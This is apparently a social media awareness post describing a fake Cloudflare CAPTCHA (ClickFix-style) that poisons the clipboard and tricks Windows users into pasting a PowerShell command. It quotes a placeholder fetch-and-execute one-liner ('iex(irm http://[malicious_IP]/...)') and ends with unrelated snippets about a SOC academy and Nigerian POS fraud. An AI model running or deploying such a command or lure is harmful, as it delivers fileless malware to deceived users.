New Social Engineering Tactics: When CAPTCHAs Attack:
I actually stumbled upon this exact scenario firsthand today while trying to visit https://t.co/rEgsfrfzre. Instead of the expected webpage, I was hit with a highly effective "Living off the Land" (LotL) attack, often associated with threat actors like ClickFix or ClearFake.
Here is how the attack chain unfolds:
1️⃣ The Trap: A realistic-looking "Cloudflare" security verification screen blocks access to the site.
2️⃣ Clipboard Poisoning: In the background, malicious JavaScript silently copies an encoded PowerShell one-liner to the system clipboard.
3️⃣ The Bypass: The fake CAPTCHA instructs you to "verify you are human" by pressing a specific key sequence: Win + X, then I, and Ctrl + V.
4️⃣ Execution: By following these steps, you unknowingly open the Powershell or Windows Terminal, paste the payload (e.g., iex(irm http://[malicious_IP]/... -UseBasicParsing)), and execute a fileless download directly into memory.
Why this is so dangerous: Because the user manually launches a legitimate Windows administrative tool, this technique completely bypasses browser protections, Safe Browsing checks, and traditional file-based AV. No malicious file ever touches the disk.
I was able to detect this cos I was wondering why a cloudflare captcha will require me to execute a command on powershell. So I decided to investigate the script that was copied, sure enough it was A MALICIOUS payload to request a download from a C2 server.

The goal is to continue to support people to achieve their Cybersecurity goals. Congratulations to the latest graduates of the SOC Academy. I am rooting for your success ✨
Nigeria has 5.5 million POS terminals.
Most Nigerians think it’s just a card machine.
It isn’t.
It’s the most fraud-exposed piece of infrastructure in the country and almost nobody understands how it actually works.
